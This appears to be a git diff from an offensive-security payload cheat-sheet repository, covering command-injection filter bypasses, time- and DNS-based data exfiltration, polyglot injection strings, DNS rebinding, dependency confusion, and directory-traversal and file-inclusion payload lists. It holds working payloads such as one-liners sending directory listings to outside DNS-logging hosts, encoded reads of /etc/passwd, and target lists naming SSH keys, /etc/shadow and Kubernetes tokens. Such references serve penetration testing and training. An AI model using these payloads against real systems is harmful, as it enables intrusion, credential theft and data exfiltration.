swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
|
||||||
|
root:x:0:0:root:/root:/bin/bash
|
||||||
|
|
||||||
|
swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
|
||||||
|
/etc/passwd
|
||||||
|
|
||||||
|
swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||||
|
root:x:0:0:root:/root:/bin/bash
|
||||||
|
```
|
||||||
|
|
||||||
|
### Bypass characters filter
|
||||||
|
|
||||||
|
Commands execution without backslash and slash - linux bash
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
swissky@crashlab:~$ echo ${HOME:0:1}
|
||||||
|
/
|
||||||
|
|
||||||
|
swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||||
|
root:x:0:0:root:/root:/bin/bash
|
||||||
|
|
||||||
|
swissky@crashlab:~$ echo . | tr '!-0' '"-1'
|
||||||
|
/
|
||||||
|
|
||||||
|
swissky@crashlab:~$ tr '!-0' '"-1' <<< .
|
||||||
|
/
|
||||||
|
|
||||||
|
swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||||
|
root:x:0:0:root:/root:/bin/bash
|
||||||
|
```
|
||||||
|
|
||||||
|
### Bypass Blacklisted words
|
||||||
|
|
||||||
|
#### Bypass with single quote
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
w'h'o'am'i
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Bypass with double quote
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
w"h"o"am"i
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Bypass with backslash and slash
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
w\ho\am\i
|
||||||
|
/\b\i\n/////s\h
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Bypass with $@
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
who$@ami
|
||||||
|
|
||||||
|
echo $0
|
||||||
|
-> /usr/bin/zsh
|
||||||
|
echo whoami|$0
|
||||||
|
```
|
||||||
|
|
||||||
|
### Bypass with $()
|
||||||
|
```powershell
|
||||||
|
who$()ami
|
||||||
|
who$(echo am)i
|
||||||
|
who`echo am`i
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Bypass with variable expansion
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
/???/??t /???/p??s??
|
||||||
|
|
||||||
|
test=/ehhh/hmtc/pahhh/hmsswd
|
||||||
|
cat ${test//hhh\/hm/}
|
||||||
|
cat ${test//hh??hm/}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Bypass with wildcards
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
powershell C:\*\*2\n??e*d.*? # notepad
|
||||||
|
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
|
||||||
|
```
|
||||||
|
|
||||||
|
## Challenge
|
||||||
|
|
||||||
|
Challenge based on the previous tricks, what does the following command do:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Time based data exfiltration
|
||||||
|
|
||||||
|
Extracting data : char by char
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||||
|
real 0m5.007s
|
||||||
|
user 0m0.000s
|
||||||
|
sys 0m0.000s
|
||||||
|
|
||||||
|
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
|
||||||
|
real 0m0.002s
|
||||||
|
user 0m0.000s
|
||||||
|
sys 0m0.000s
|
||||||
|
```
|
||||||
|
|
||||||
|
## DNS based data exfiltration
|
||||||
|
|
||||||
|
Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
1. Go to http://dnsbin.zhack.ca/
|
||||||
|
2. Execute a simple 'ls'
|
||||||
|
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||||||
|
```
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||||
|
```
|
||||||
|
|
||||||
|
Online tools to check for DNS based data exfiltration:
|
||||||
|
|
||||||
|
- dnsbin.zhack.ca
|
||||||
|
- pingb.in
|
||||||
|
|
||||||
|
## Polyglot command injection
|
||||||
|
|
||||||
|
```bash
|
||||||
|
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||||
|
|
||||||
|
e.g:
|
||||||
|
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||||
|
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||||
|
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||||
|
|
||||||
|
e.g:
|
||||||
|
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||||
|
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
|
||||||
|
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
|
||||||
|
```
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
|
||||||
|
* [Bug Bounty Survey - Windows RCE spaceless](https://twitter.com/bugbsurveys/status/860102244171227136)
|
||||||
|
* [No PHP, no spaces, no $, no { }, bash only - @asdizzle](https://twitter.com/asdizzle_/status/895244943526170628)
|
||||||
|
* [#bash #obfuscation by string manipulation - Malwrologist, @DissectMalware](https://twitter.com/DissectMalware/status/1025604382644232192)
|
||||||
75
DNS Rebinding/README.md
Normal file
75
DNS Rebinding/README.md
Normal file
@@ -0,0 +1,75 @@
|
|||||||
|
# DNS Rebinding
|
||||||
|
|
||||||
|
> DNS rebinding changes the IP address of an attacker controlled machine name to the IP address of a target application, bypassing the [same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy) and thus allowing the browser to make arbitrary requests to the target application and read their responses.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Exploitation](#exploitation)
|
||||||
|
* [Protection Bypasses](#protection-bypasses)
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
- [Singularity of Origin](https://github.com/nccgroup/singularity) - is a tool to perform DNS rebinding attacks.
|
||||||
|
- [Singularity of Origin Web Client](http://rebind.it/) (manager interface, port scanner and autoattack)
|
||||||
|
|
||||||
|
## Exploitation
|
||||||
|
|
||||||
|
First, we need to make sure that the targeted service is vulnerable to DNS rebinding.
|
||||||
|
It can be done with a simple curl request:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl --header 'Host: <arbitrary-hostname>' http://<vulnerable-service>:8080
|
||||||
|
```
|
||||||
|
|
||||||
|
If the server returns the expected result (e.g. the regular web page) then the service is vulnerable.
|
||||||
|
If the server returns an error message (e.g. 404 or similar), the server has most likely protections implemented which prevent DNS rebinding attacks.
|
||||||
|
|
||||||
|
Then, if the service is vulnerable, we can abuse DNS rebinding by following these steps:
|
||||||
|
|
||||||
|
1. Register a domain.
|
||||||
|
2. [Setup Singularity of Origin](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).
|
||||||
|
3. Edit the [autoattack HTML page](https://github.com/nccgroup/singularity/blob/master/html/autoattack.html) for your needs.
|
||||||
|
4. Browse to "http://rebinder.your.domain:8080/autoattack.html".
|
||||||
|
5. Wait for the attack to finish (it can take few seconds/minutes).
|
||||||
|
|
||||||
|
## Protection Bypasses
|
||||||
|
|
||||||
|
> Most DNS protections are implemented in the form of blocking DNS responses containing unwanted IP addresses at the perimeter, when DNS responses enter the internal network. The most common form of protection is to block private IP addresses as defined in RFC 1918 (i.e. 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Some tools allow to additionally block localhost (127.0.0.0/8), local (internal) networks, or 0.0.0.0/0 network ranges.
|
||||||
|
|
||||||
|
In the case where DNS protection are enabled (generally disabled by default), NCC Group has documented multiple [DNS protection bypasses](https://github.com/nccgroup/singularity/wiki/Protection-Bypasses) that can be used.
|
||||||
|
|
||||||
|
### 0.0.0.0
|
||||||
|
|
||||||
|
We can use the IP address 0.0.0.0 to access the localhost (127.0.0.1) to bypass filters blocking DNS responses containing 127.0.0.1 or 127.0.0.0/8.
|
||||||
|
|
||||||
|
### CNAME
|
||||||
|
|
||||||
|
We can use DNS CNAME records to bypass a DNS protection solution that blocks all internal IP addresses.
|
||||||
|
Since our response will only return a CNAME of an internal server,
|
||||||
|
the rule filtering internal IP addresses will not be applied.
|
||||||
|
Then, the local, internal DNS server will resolve the CNAME.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ dig cname.example.com +noall +answer
|
||||||
|
; <<>> DiG 9.11.3-1ubuntu1.15-Ubuntu <<>> example.com +noall +answer
|
||||||
|
;; global options: +cmd
|
||||||
|
cname.example.com. 381 IN CNAME target.local.
|
||||||
|
```
|
||||||
|
|
||||||
|
### localhost
|
||||||
|
|
||||||
|
We can use "localhost" as a DNS CNAME record to bypass filters blocking DNS responses containing 127.0.0.1.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ dig www.example.com +noall +answer
|
||||||
|
; <<>> DiG 9.11.3-1ubuntu1.15-Ubuntu <<>> example.com +noall +answer
|
||||||
|
;; global options: +cmd
|
||||||
|
localhost.example.com. 381 IN CNAME localhost.
|
||||||
|
```
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [How Do DNS Rebinding Attacks Work? - nccgroup, 2019](https://github.com/nccgroup/singularity/wiki/How-Do-DNS-Rebinding-Attacks-Work%3F)
|
||||||
|
|
||||||
|
|
||||||
32
Dependency Confusion/README.md
Normal file
32
Dependency Confusion/README.md
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
# Dependency Confusion
|
||||||
|
|
||||||
|
> A dependency confusion attack or supply chain substitution attack occurs when a software installer script is tricked into pulling a malicious code file from a public repository instead of the intended file of the same name from an internal repository.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Exploit](#exploitation)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
* [Confused](https://github.com/visma-prodsec/confused)
|
||||||
|
|
||||||
|
## Exploit
|
||||||
|
|
||||||
|
Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used.
|
||||||
|
|
||||||
|
### NPM example
|
||||||
|
|
||||||
|
* List all the packages (ie: package.json, composer.json, ...)
|
||||||
|
* Find the package missing from https://www.npmjs.com/
|
||||||
|
* Register and create a **public** package with the same name
|
||||||
|
* Package example : https://github.com/0xsapra/dependency-confusion-expoit
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Exploiting Dependency Confusion - 2 Jul 2021 - 0xsapra](https://0xsapra.github.io/website//Exploiting-Dependency-Confusion)
|
||||||
|
* [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
||||||
|
* [Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/)
|
||||||
|
* [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained](https://www.youtube.com/watch?v=zFHJwehpBrU )
|
||||||
0
Traversal directory/deep_traversal.txt → Directory Traversal/Intruder/deep_traversal.txt
Executable file → Normal file
0
Traversal directory/deep_traversal.txt → Directory Traversal/Intruder/deep_traversal.txt
Executable file → Normal file
10
Traversal directory/directory_traversal.txt → Directory Traversal/Intruder/directory_traversal.txt
Executable file → Normal file
10
Traversal directory/directory_traversal.txt → Directory Traversal/Intruder/directory_traversal.txt
Executable file → Normal file
@@ -129,4 +129,12 @@ C:\boot.ini
|
|||||||
/../../../../../../../../../../../boot.ini%00.jpg
|
/../../../../../../../../../../../boot.ini%00.jpg
|
||||||
/.../.../.../.../.../
|
/.../.../.../.../.../
|
||||||
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
|
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
|
||||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
|
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
|
||||||
|
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||||
|
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||||
|
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||||
|
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||||
|
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
|
||||||
|
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
|
||||||
|
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
|
||||||
|
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
|
||||||
0
Traversal directory/dotdotpwn.txt → Directory Traversal/Intruder/dotdotpwn.txt
Executable file → Normal file
0
Traversal directory/dotdotpwn.txt → Directory Traversal/Intruder/dotdotpwn.txt
Executable file → Normal file
204
Directory Traversal/README.md
Normal file
204
Directory Traversal/README.md
Normal file
@@ -0,0 +1,204 @@
|
|||||||
|
# Directory traversal
|
||||||
|
|
||||||
|
> A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Basic exploitation](#basic-exploitation)
|
||||||
|
* [16 bits Unicode encoding](#16-bits-unicode-encoding)
|
||||||
|
* [UTF-8 Unicode encoding](#utf-8-unicode-encoding)
|
||||||
|
* [Bypass "../" replaced by ""](#bypass--replaced-by-)
|
||||||
|
* [Bypass "../" with ";"](#bypass--with-)
|
||||||
|
* [Double URL encoding](#double-url-encoding)
|
||||||
|
* [UNC Bypass](#unc-bypass)
|
||||||
|
* [NGINX/ALB Bypass](#nginxalb-bypass)
|
||||||
|
* [Path Traversal](#path-traversal)
|
||||||
|
* [Interesting Linux files](#interesting-linux-files)
|
||||||
|
* [Interesting Windows files](#interesting-windows-files)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
- [dotdotpwn - https://github.com/wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn)
|
||||||
|
```powershell
|
||||||
|
git clone https://github.com/wireghoul/dotdotpwn
|
||||||
|
perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
|
||||||
|
```
|
||||||
|
|
||||||
|
## Basic exploitation
|
||||||
|
|
||||||
|
We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
../
|
||||||
|
..\
|
||||||
|
..\/
|
||||||
|
%2e%2e%2f
|
||||||
|
%252e%252e%252f
|
||||||
|
%c0%ae%c0%ae%c0%af
|
||||||
|
%uff0e%uff0e%u2215
|
||||||
|
%uff0e%uff0e%u2216
|
||||||
|
```
|
||||||
|
|
||||||
|
### 16 bits Unicode encoding
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
. = %u002e
|
||||||
|
/ = %u2215
|
||||||
|
\ = %u2216
|
||||||
|
```
|
||||||
|
|
||||||
|
### UTF-8 Unicode encoding
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
. = %c0%2e, %e0%40%ae, %c0ae
|
||||||
|
/ = %c0%af, %e0%80%af, %c0%2f
|
||||||
|
\ = %c0%5c, %c0%80%5c
|
||||||
|
```
|
||||||
|
|
||||||
|
### Bypass "../" replaced by ""
|
||||||
|
Sometimes you encounter a WAF which remove the "../" characters from the strings, just duplicate them.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
..././
|
||||||
|
...\.\
|
||||||
|
```
|
||||||
|
|
||||||
|
### Bypass "../" with ";"
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
..;/
|
||||||
|
http://domain.tld/page.jsp?include=..;/..;/sensitive.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
### Double URL encoding
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
. = %252e
|
||||||
|
/ = %252f
|
||||||
|
\ = %255c
|
||||||
|
```
|
||||||
|
|
||||||
|
**e.g:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with `http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini`
|
||||||
|
|
||||||
|
### UNC Bypass
|
||||||
|
|
||||||
|
An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
\\localhost\c$\windows\win.ini
|
||||||
|
```
|
||||||
|
|
||||||
|
### NGINX/ALB Bypass
|
||||||
|
|
||||||
|
NGINX in certain configurations and ALB can block traversal attacks in the route, For example:
|
||||||
|
```http://nginx-server/../../``` will return a 400 bad request.
|
||||||
|
|
||||||
|
To bypass this behaviour just add forward slashes in front of the url:
|
||||||
|
```http://nginx-server////////../../```
|
||||||
|
|
||||||
|
|
||||||
|
### Java Bypass
|
||||||
|
|
||||||
|
Bypass Java's URL protocol
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
url:file:///etc/passwd
|
||||||
|
url:http://127.0.0.1:8080
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Path Traversal
|
||||||
|
|
||||||
|
### Interesting Linux files
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
/etc/issue
|
||||||
|
/etc/passwd
|
||||||
|
/etc/shadow
|
||||||
|
/etc/group
|
||||||
|
/etc/hosts
|
||||||
|
/etc/motd
|
||||||
|
/etc/mysql/my.cnf
|
||||||
|
/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
|
||||||
|
/proc/self/environ
|
||||||
|
/proc/version
|
||||||
|
/proc/cmdline
|
||||||
|
/proc/sched_debug
|
||||||
|
/proc/mounts
|
||||||
|
/proc/net/arp
|
||||||
|
/proc/net/route
|
||||||
|
/proc/net/tcp
|
||||||
|
/proc/net/udp
|
||||||
|
/proc/self/cwd/index.php
|
||||||
|
/proc/self/cwd/main.py
|
||||||
|
/home/$USER/.bash_history
|
||||||
|
/home/$USER/.ssh/id_rsa
|
||||||
|
/run/secrets/kubernetes.io/serviceaccount/token
|
||||||
|
/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||||
|
/run/secrets/kubernetes.io/serviceaccount/certificate
|
||||||
|
/var/run/secrets/kubernetes.io/serviceaccount
|
||||||
|
/var/lib/mlocate/mlocate.db
|
||||||
|
/var/lib/mlocate.db
|
||||||
|
```
|
||||||
|
|
||||||
|
### Interesting Windows files
|
||||||
|
|
||||||
|
Always existing file in recent Windows machine.
|
||||||
|
Ideal to test path traversal but nothing much interesting inside...
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
c:\windows\system32\license.rtf
|
||||||
|
c:\windows\system32\eula.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
c:/boot.ini
|
||||||
|
c:/inetpub/logs/logfiles
|
||||||
|
c:/inetpub/wwwroot/global.asa
|
||||||
|
c:/inetpub/wwwroot/index.asp
|
||||||
|
c:/inetpub/wwwroot/web.config
|
||||||
|
c:/sysprep.inf
|
||||||
|
c:/sysprep.xml
|
||||||
|
c:/sysprep/sysprep.inf
|
||||||
|
c:/sysprep/sysprep.xml
|
||||||
|
c:/system32/inetsrv/metabase.xml
|
||||||
|
c:/sysprep.inf
|
||||||
|
c:/sysprep.xml
|
||||||
|
c:/sysprep/sysprep.inf
|
||||||
|
c:/sysprep/sysprep.xml
|
||||||
|
c:/system volume information/wpsettings.dat
|
||||||
|
c:/system32/inetsrv/metabase.xml
|
||||||
|
c:/unattend.txt
|
||||||
|
c:/unattend.xml
|
||||||
|
c:/unattended.txt
|
||||||
|
c:/unattended.xml
|
||||||
|
c:/windows/repair/sam
|
||||||
|
c:/windows/repair/system
|
||||||
|
```
|
||||||
|
|
||||||
|
The following log files are controllable and can be included with an evil payload to achieve a command execution
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
/var/log/apache/access.log
|
||||||
|
/var/log/apache/error.log
|
||||||
|
/var/log/httpd/error_log
|
||||||
|
/usr/local/apache/log/error_log
|
||||||
|
/usr/local/apache2/log/error_log
|
||||||
|
/var/log/nginx/access.log
|
||||||
|
/var/log/nginx/error.log
|
||||||
|
/var/log/vsftpd.log
|
||||||
|
/var/log/sshd.log
|
||||||
|
/var/log/mail
|
||||||
|
```
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Path Traversal Cheat Sheet: Windows](https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/)
|
||||||
|
* [Directory traversal attack - Wikipedia](https://en.wikipedia.org/wiki/Directory_traversal_attack)
|
||||||
|
* [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://cwe.mitre.org/data/definitions/40.html)
|
||||||
|
* [NGINX may be protecting your applications from traversal attacks without you even knowing](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d?source=friends_link&sk=e9ddbadd61576f941be97e111e953381)
|
||||||
|
* [Directory traversal - Portswigger](https://portswigger.net/web-security/file-path-traversal)
|
||||||
@@ -1 +0,0 @@
|
|||||||
71
|
|
||||||
@@ -666,6 +666,18 @@ users/.htpasswd
|
|||||||
/var/log/news/news.notice
|
/var/log/news/news.notice
|
||||||
/var/log/news/suck.err
|
/var/log/news/suck.err
|
||||||
/var/log/news/suck.notice
|
/var/log/news/suck.notice
|
||||||
|
/var/log/nginx/access_log
|
||||||
|
/var/log/nginx/access.log
|
||||||
|
../../../../../../../var/log/nginx/access_log
|
||||||
|
../../../../../../../var/log/nginx/access.log
|
||||||
|
../../../../../var/log/nginx/access_log
|
||||||
|
../../../../../var/log/nginx/access.log
|
||||||
|
/var/log/nginx/error_log
|
||||||
|
/var/log/nginx/error.log
|
||||||
|
../../../../../../../var/log/nginx/error_log
|
||||||
|
../../../../../../../var/log/nginx/error.log
|
||||||
|
../../../../../var/log/nginx/error_log
|
||||||
|
../../../../../var/log/nginx/error.log
|
||||||
/var/log/poplog
|
/var/log/poplog
|
||||||
/var/log/POPlog
|
/var/log/POPlog
|
||||||
/var/log/proftpd
|
/var/log/proftpd
|
||||||
@@ -55,4 +55,8 @@
|
|||||||
/var/log/apache/error.log
|
/var/log/apache/error.log
|
||||||
/var/log/apache/error_log
|
/var/log/apache/error_log
|
||||||
/var/log/httpd/error_log
|
/var/log/httpd/error_log
|
||||||
/var/log/httpd/access_log
|
/var/log/httpd/access_log
|
||||||
|
/var/log/nginx/access_log
|
||||||
|
/var/log/nginx/access.log
|
||||||
|
/var/log/nginx/error_log
|
||||||
|
/var/log/nginx/error.log
|
||||||
@@ -765,6 +765,20 @@ php://input
|
|||||||
/var/log/mysql/mysql-slow.log
|
/var/log/mysql/mysql-slow.log
|
||||||
/var/log/mysql/mysql-slow.log
|
/var/log/mysql/mysql-slow.log
|
||||||
/var/log/mysql/mysql-slow.log%00
|
/var/log/mysql/mysql-slow.log%00
|
||||||
|
/var/log/nginx/access_log
|
||||||
|
/var/log/nginx/access_log
|
||||||
|
/var/log/nginx/access_log
|
||||||
|
/var/log/nginx/access.log
|
||||||
|
/var/log/nginx/access.log
|
||||||
|
/var/log/nginx/access_log%00
|
||||||
|
/var/log/nginx/access.log%00
|
||||||
|
/var/log/nginx/error_log
|
||||||
|
/var/log/nginx/error_log
|
||||||
|
/var/log/nginx/error.log
|
||||||
|
/var/log/nginx/error.log
|
||||||
|
/var/log/nginx/error.log
|
||||||
|
/var/log/nginx/error_log%00
|
||||||
|
/var/log/nginx/error.log%00
|
||||||
/var/log/proftpd
|
/var/log/proftpd
|
||||||
/var/log/proftpd
|
/var/log/proftpd
|
||||||
/var/log/proftpd%00
|
/var/log/proftpd%00
|
||||||
@@ -41,6 +41,10 @@
|
|||||||
/var/log/httpd/error_log%00
|
/var/log/httpd/error_log%00
|
||||||
/var/log/httpd/access_log%00
|
/var/log/httpd/access_log%00
|
||||||
/var/log/httpd/error_log%00
|
/var/log/httpd/error_log%00
|
||||||
|
/var/log/nginx/access_log%00
|
||||||
|
/var/log/nginx/access.log%00
|
||||||
|
/var/log/nginx/error_log%00
|
||||||
|
/var/log/nginx/error.log%00
|
||||||
/apache/logs/error.log%00
|
/apache/logs/error.log%00
|
||||||
/apache/logs/access.log%00
|
/apache/logs/access.log%00
|
||||||
/apache/logs/error.log%00
|
/apache/logs/error.log%00
|
||||||
@@ -3,4 +3,6 @@
|
|||||||
/private/var/log/appstore.log
|
/private/var/log/appstore.log
|
||||||
/var/log/apache2/error_log
|
/var/log/apache2/error_log
|
||||||
/var/log/apache2/access_log
|
/var/log/apache2/access_log
|
||||||
/usr/local/nginx/conf/nginx.conf
|
/usr/local/nginx/conf/nginx.conf
|
||||||
|
/var/log/nginx/error_log
|
||||||
|
/var/log/nginx/access_log
|
||||||
0
File Inclusion - Path Traversal/Intruders/Traversal.txt → File Inclusion/Intruders/Traversal.txt
Executable file → Normal file
0
File Inclusion - Path Traversal/Intruders/Traversal.txt → File Inclusion/Intruders/Traversal.txt
Executable file → Normal file
@@ -10,4 +10,5 @@ wp-admin.php
|
|||||||
/include/mysql.php
|
/include/mysql.php
|
||||||
/inc/mysql.php
|
/inc/mysql.php
|
||||||
/sites/defaults/settings.php
|
/sites/defaults/settings.php
|
||||||
/phpmyadmin/changelog.php
|
/phpmyadmin/changelog.php
|
||||||
|
web.config
|
||||||
@@ -1,13 +1,21 @@
|
|||||||
# Local/Remote File Inclusion
|
# File Inclusion
|
||||||
|
|
||||||
The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.
|
> The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.
|
||||||
|
|
||||||
|
> The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
* [Basic LFI](#basic-lfi)
|
* [Basic LFI](#basic-lfi)
|
||||||
|
* [Null byte](#null-byte)
|
||||||
|
* [Double encoding](#double-encoding)
|
||||||
|
* [UTF-8 encoding](#utf-8-encoding)
|
||||||
|
* [Path and dot truncation](#path-and-dot-truncation)
|
||||||
|
* [Filter bypass tricks](#filter-bypass-tricks)
|
||||||
* [Basic RFI](#basic-rfi)
|
* [Basic RFI](#basic-rfi)
|
||||||
* [LFI / RFI using wrappers](#lfi--rfi-using-wrappers)
|
* [LFI / RFI using wrappers](#lfi--rfi-using-wrappers)
|
||||||
* [Wrapper php://filter](l#wrapper-phpfilter)
|
* [Wrapper php://filter](#wrapper-phpfilter)
|
||||||
* [Wrapper zip://](#wrapper-zip)
|
* [Wrapper zip://](#wrapper-zip)
|
||||||
* [Wrapper data://](#wrapper-data)
|
* [Wrapper data://](#wrapper-data)
|
||||||
* [Wrapper expect://](#wrapper-expect)
|
* [Wrapper expect://](#wrapper-expect)
|
||||||
@@ -17,97 +25,61 @@ The File Inclusion vulnerability allows an attacker to include a file, usually e
|
|||||||
* [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
|
* [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
|
||||||
* [LFI to RCE via upload](#lfi-to-rce-via-upload)
|
* [LFI to RCE via upload](#lfi-to-rce-via-upload)
|
||||||
